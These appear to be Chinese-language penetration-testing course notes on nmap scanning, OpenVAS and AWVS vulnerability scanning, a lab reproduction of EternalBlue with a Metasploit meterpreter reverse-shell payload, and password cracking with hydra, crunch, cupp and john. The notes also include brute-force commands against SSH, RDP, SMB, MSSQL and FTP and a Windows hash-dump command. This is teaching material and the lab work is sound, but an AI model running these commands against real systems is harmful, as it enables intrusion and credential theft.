目录
扫描技术
扫描
自动化
提高效率
资产发现
发现目标环境中有哪些资产,资产就是联网设备,主机,服务器,各种服务等。
资产整理,发现,收集。
主机发现、端口扫描。
扫描神器(nmap)【效率高】
官网:nmap.org
nmap工具是跨平台的
nmap自动集成在 kali
建议:如果使用kali 中的nmap 扫描的时候,建议桥接
推荐书籍:nmap渗透测试指南
如果在没有指定端口的情况下,默认扫描top 1000 个端口。
主机发现
有哪些主机在线,IP 地址
端口扫描
主机开启的端口?
端口上的服务?
扫描方式
TCP 全链接扫描
SYN 半连接扫描
隐蔽扫描
Null 扫描
Xmas 扫描
FIN 扫描
参数
参数可以任意调换顺序
-sP/-sn 不进行端口扫描
-p 指定端口
-p 80
-p 1-80
-p 80,3389,8080
-p 1-65535
-p- 就是1-65535的意思
-sT TCP全连接扫描 ——》会建立完整的三次握手过程
-sS SYN半连接扫描——》只进行三次握手的前两次
以下三中隐蔽扫描不适用于windows系统
这三种隐蔽扫描都是去发送畸形的数据包(比如null扫描,我给你发的包标志位全为0,但是对方没给你回包)
-sN Null扫描
-sX Xmas扫描
-sF Fin扫描
-sV 显示服务的详细版本
-O 获取操作系统类型(不太准确,尤其是扫描windows系统)
-oN/-oX 保存扫描结果,txt/xml(xml也是一种标签语言)
xml和xpath 可以自学以下
-A 全面扫描
-T0 ~ -T5 时序选项
以上都可以用wireshark抓包看一下!
Nmap命令
nmap
nmap 127.0.0.1
nmap 192.168.1.0/24 -sP
namp 127.0.0.1 -p-
nmap 192.168.1.1 -p 80 -sT
nmap 192.168.1.1 -p 80 -sS
nmap 192.168.1.1 -p 80 -sX
nmap 192.168.1.1 -p 80 -sN
nmap 192.168.1.1 -p 80 -sF
namp -sV 127.0.0.1 -p 22
nmap -p- -A 127.0.0.1 -oN result.txt
nmap扫描时的端口状态
开放
关闭
过滤
未过滤
开放 | 过滤
关闭 | 过滤
kali中关闭网卡的命令是:ifdown eth1,开启是ifup eth0
工具
wireshark
ipaddr == 10.0.105.1 and tcp.port == 80
过滤
扫描技术---网络漏洞扫描
我们可以通过网络漏洞扫描,全面掌握目标服务器存在的安全隐患。市面上常用的扫描器有Nessus(其次)、NeXpose(个人认为最厉害)、OpenVAS(免费开源)等,这是扫描器都有商业版和家庭版
我们这里使用的是OpenVAS,可以用来识别远程主机、Web应用存在的各种漏洞。Nessus 曾是业内开源扫描工具的的标准,在Nessus 商业化不再开放源代码后,在它的原始项目中分支出OpenVAS 开源项目。经过多年发展,OpenVAS已经成为当前最好的开源漏洞扫描器,功能非常强大,甚至可以跟一些商业漏洞扫描器相媲美。
OpenVAS 使用 NVT 脚本对多种远程系统(包括Windows、Linux、UNIX 以及Web 应用程序)的安全问题进行检测
NVT脚本就是我们常说的漏洞库,也就是说它扫描是时候是基于已知漏洞的扫描
扫描器是否强大,最核心的地方就是它的漏洞库,一个一个去匹配
漏洞扫描原理
网络漏洞扫描是指利用一些自动化的工具发现网上的各类主机设备的安全漏洞。
漏洞扫描通常分为两大类
*黑盒扫描
黑河扫描一般通过远程识别服务的类型和版本,对服务是否存在漏洞进行判定。在一些最新的漏洞扫描软件中,应用了一些更高级的的技术,比如模拟渗透攻击
黑盒扫描就是通过远程识别服务的漏洞
*白盒测试
白盒扫描就是在具有主机操作权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你的操作系统进行扫描,查找存在的安全漏洞,并向你推送详细的操作系统补丁
白盒扫描的结果更加准确,但是一般来说他所是被出来的漏洞不应当直接作为渗透测试的最终数据,因为这些漏洞由于防火墙和各类防护软件的原因很可能无法在外部渗透的测试中得到利用。同时,一般情况下,你是没有机会获取用户的用户名和口令。
漏洞扫描器一般会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能匹配上,就说明存在一个漏洞。
漏洞扫描器再识别漏洞的过程中,会向目标发送大量的数据包,有时候会导致目标系统拒绝服务或被扫描数据包阻塞,扫描行为会被对方的入侵检测设备发现。
漏洞扫描器扫描出的结果通常会有很多误报(报告发现的漏洞实际不存在)或者漏报(未报告发现的漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏洞是实际存在的,这个过程叫做漏洞验证。这是渗透测试过程中不可缺少的一步,只有验证漏洞存在的真实性,才能对漏洞进行深度利用。
渗透测试工作中,在得到客户认可的情况下,可以使用扫描器进行扫描,但使用时一定要注意规避风险,对其系统运行可能造成的影响降到最低。
OpenVAS扫描实验
*官网 www.openvas.org
靶机:win2008虚拟机
IP:192.168.3.80/24
扫描器:openvas
启动phpstudy
1、扫描目标
开始进行扫描的时候需要新建一个目标。
新建目标
填写好相关信息,点击[Create].
点击configuration---》Targets——》点击——》。。见下图 。。——》save
2、扫描策略
查看扫描模板,就是扫描过程中使用的扫描策略和配置,这些扫描模板也可自己配置。
3、扫描任务
创建好目标之后,我们创建扫描任务。
新建任务
(策略是在创建任务的时候一起来完成):
Scan——》Tasks——》——》见下图——》开启
4、扫描完成
点击任务状态,可以查看扫描结果
这里我们发现目标主机存在“永恒之蓝”漏洞
5、扫描报告
我们将扫描结果以报告的形式保存下来。
Web 漏洞扫描
随着互联网的发展,Web 应用越来越多,同时Web 应用的攻击成本、攻击难度都比较低,Web 应用成为黑客攻击的主要目标。无论黑客处于什么样的目的,Web 应用所面临的挑战都很大的。
如何即时、快速的发现漏洞,并且修补漏洞,减轻和消除Web 安全风险成为安全行业的重要课题
小型的Web 应用几十上百个页面,大型的Web 应用成千上万个页面,如果靠人工的方法,显然是不可取的。因此我们就需要借助与自动化工具,帮助审计员去发现Web 漏洞。
市面上的Web 漏洞扫描器有很多,其中IBM 公司的AppScan 和商业化Web 漏洞扫描器AWVS 为优秀。Web 漏洞扫描器大同小异,本课程以AWVS 为例子,讲解Web 漏洞扫描器的使用。
使用AWVS 扫描testfire.net
AVWS 低版本 客户端软件
高版本的都是web页面
也就是说我们低版本的avws都是一个本地客户端的应用程序,高版本的是web界面(通过web方式去访问的)
在win7上安装awvs软件
安装AVWS步骤
一直next——》finish
出现如下界面:next
打开软件
出现一个弹框——cancel
扫描完成:
把扫描结果保存起来
*创建扫描目标
点击[New Scan],即可打开扫描向导,在Website URL中输入网址[http://www.testfire.net],跟着向导一步一步配置即可。
设置扫描策略,如果没有特殊要求,默认即可。
在目标阶段,AVWS会自动识别目标web服务相关信息,包括系统、web容器类型和版本、中间件信息。
如果网站有登录框,可以将测试账号账密填写在下方
点击finish,即可完成扫描向导,开始扫描工作。
Web漏洞扫描需要一定的时间,等待即可。下图是扫描完成的结果。
整个页面布局左/中/右三个部分。最左侧是一些小工具列表。
中间部分是漏洞点和网站结构目录
使用方法
1、点击File——New——Web site scan——选择扫描的url——》next
Web 漏洞扫描原理
进行Web 漏洞扫描的时候,大致分为以下几个步骤:
@ 1、爬行网站目录结构???
asp网站
.net网站
php网站
但是框架类的不建议扫描
JAVA框架
index.php
@ 2、使用漏洞脚本扫描
@ 3、保存扫描结果
关于漏洞要关注:
漏洞名称
漏洞风险等级:高危 | 中危 | 低危 | 信息漏洞
漏洞的描述
漏洞的危害?
前半部分
后半部分
修复建议
前半部分
后半部分
永恒之蓝漏洞复现
MS17-010俗称永恒之蓝
工具:MSF(集成在kali)
metasploit framework
具体过程
·msfconsole # 启动
·search MS17-010
·use exploit/windows/smb/ms17_010_eternalblue
·set payload windows/x64/meterpreter/reverse_tcp
·set RHOSTS 192.168.1.143 //目标靶机ip
·set LHOST 192.168.1.142 //本机IP
·exploit
成功拿到靶机的system权限
口令破解
口令安全威胁
*口令安全概述
现在很多地方以用户名(账户)和口令(密码)作为鉴权的方式,口令(密码)就意味着访问权限。例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等等。
*口令安全现状
·弱口令
类似123456、654321、admin123 等这些常见的弱密码
·默认口令
很多应用或者系统存在默认口令。比如phpstudy 的mysql 数据库默认账密[root/root], Tomcat 管理控制台默认账密[tomcat/tomcat]等。
·明文传输
比如HTTP|FTP|TELNET
等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。这样的服务,有嗅探的风险。
*破解方式
·在线破解方式
账密,需要认证
hydra
-l | 指定一个用户名 |
-p | 指定一个密码 |
-P | 指定密码字典 |
-L | 指定用户名字典 |
-vV | 显示爆破细节 |
-o | 保存爆破结果 |
-f | 找到正确的密码就停止爆破 |
-t | 线程 | |
-e | n | null |
s | same | |
r | 反向 |
用户名未知,密码未知
用户名已知,密码未知
用户名未知,密码已知
·离线破解方式
密文,还原成明文的过程
*暴力破解
暴力破解就是利用所有可能的字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终会爆破出密码。下表根据不同的位数生成密码的空间大小
字符集 | 密码位数 | 密码空间 |
[0-9] | 8 位 | 10^8=100000000 |
[0-9][a-z] | 8位 | 36^8=2821109907456 |
[0-9][a-z] | 8位 | ?? |
工具:crunch(kali自带)
[crunch 1 8 1234567890abcdefghijklmnopqrstuvwxyz]
---------------
Crunch will now generate the following amount of data: 26032511341944 bytes
24826537 MB
24244 GB
23 TB
0 PB
------
*字典破解
如果 能通过比较合理的条件,删选或者滤掉一些全字符组合内容,就会打幅度降低爆破的成本。我们把筛选出来的密码组成特定的字典。用字典爆破密码也是可以的,但是这样可能会漏掉真正的密码。密码字典大致分为以下几大类
·弱口令字典
比如123456,admin 等这样的默认口令或弱口令
·社工字典
人在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合“名字+生日”
[zhangsan1992]
社工字典更具针对性,准确率也比较高。
我们可以根据个人信息生成密码字典。可以使用cupp工具
但是cupp工具 是国外人开发的
-------------
apt-get update 更新软件列表
apt-get install cupp
cupp -i
-------------
[zhangsan|ajest|19920701|dnsec|123]
·字符集字典
如果能确定密码的字符集合,也将大大降低爆破的成本
·crunch
是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文件。
使用crunch 工具生成的密码可以输出到屏幕,保存文件或另一个程序。尤其是渗透测试需要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重要的作用。
安装
kali
crunch 为kali自带工具
[crunch]
查看帮助
[man crunch > crunch.help]
命令格式
crunch <min-len> <max-len> [<charset string>] [options]
参数说明
min-len
设定密码的最小长度
max-len
设定密码的最大长度
charset string
字符集
oprions
-b
指定文件输出的大小,避免字典文件过大
-c
指定文件输出的行数,记包含密码的个数
-d
限制相同元素出现的次数
-e
定义停止字符,即到该字符串就停止生成
-f
调用库文件(/usr/share/crunch/charset.lst)
-i
改变输出格式,即aaa,aab -> aaa,baa
-o
将密码保存到指定文件
-q
读取密码文件,即读取pass.txt
-r
定义重复一个字符串就重新开始
-s
指定一个开始的字符
-t
指定密码输出的格式
-u
禁止打印百分比
-z
压缩生成的字典文件,支持gzip,bzip2,lzma,7z
-l
生成特殊字符
-p
指定生成元素
查看库文件
[cat /usr/share/crunch/charset.lst]
特殊字符
%
代表数字
^
代表特殊符号
@
代表小写字母
,
代表大写字母
·密码字典
生成密码字典
生成1-8位密码字典,字符集合位小写字母,从a 开始到zzzzzzzz结束
[crunch 1 8]
生成1-6位的密码字典,字符集合位[abcdefg],从a 开始到gggggg结束
[crunch 1 6 abcdefg]
生成3 位密码字典,字符集合[ab ],从a 开始到 [ ]
生成指定字符串,比如生日的日期
[crunch 8 8 -t 199307%% -e 19930731]
生成元素的组合,比如123.com
[crunch 7 7 -t %%%.com -s 111.com -e 123.com]
在字典中输出特殊字符
[crunch 3 3 abc -t @@@ -l @aa]
以元素组合生成字典
[zhangsan|1993|0701]
[CRUNCH 4 4 -P AJEST 1992 0701]
保存字典文件
[crunch 11 11 -t 1700010%%%% -b 20mb -o START]
自定义字符集合
将自带字典进行备份
创建自定义字符集合[*.com] 字典文件
[crunch 5 5 -f charset.lst test -t @.com]
·简单介绍字典
子域名字典
默认账号密码字典
文件路径字典
日志文件
Web 目录
常用变量名字典
常用文件名字典
弱口令字典
*Windows口令破解
·windows口令远程爆破
[hydra -l administrator -P ../dic/pwd.dic 192.168.1.200 smb]
·windows账户hash值破解
除了可以远程爆破windows密码,我们还可以从本地破解windows密码。
本地Windows 账户破解主要有两种方式
@ 从内存中读取windows 密码
我们可以用getpass 直接从Windows 系统内存中读取用户数据
@ Windows hash 值破解
Windows hash 值破解一共有两步操作。
首先我们使用QuarkPwDump 工具读取(导出)Windows 账户密码hash 值,
[C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o win2008.hash]
然后在使用 john 工具破解
[john win2k8.hash --format=NT --wordlist=/root/dic/winPass.dic]
[john --show win2k8.hash --format=NT]
*linux 口令破解
linux 口令破解,也分远程破解和和本地破解。
远程破解主要是爆破ssh 服务,属于在线密码攻击。
本地破解需要拿到linux 的shadow 文件,进行hash 值破解,属于离线密码攻击
·破解ssh 服务
我们使用hydra 攻击破解ssh 服务,hydra 攻击已经自动集成在kali 虚拟机中。
命令如下:
[hydra -l root -P ../dic/pwd.dic 192.168.1.150 ssh]
[hydra -L /root/dic/user.dic -P /root/dic/winPass.dic 127.0.0.1 ssh -e nsr -vV -o 127.ssh]
·本地shadow 文件破解
我们可以使用john 工具,破解shadow 密码文件。
john 也是自动集成在kali 中。
john 破解的时候也需要准备一个字典。
[john shadow]
*网络服务口令破解
在渗透测试中,我们同样会对服务的口令进行审计
·破解MSSQL 口令
[hydra -l sa -P /root/dic/test_pwd.dic 192.168.1.150 mssql -vV]
·破解RDP 口令
[hydra -l administrator -P /root/dic/test_pwd.dic 192.168.1.150 rdp -vV]
·破解FTP 口令
[hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 192.168.1.150 ftp -vV]
本节课使用到的软件包。
链接:https://pan.baidu.com/s/1vZwxhejojJkhFCP9tRl8mg
提取码:ze1m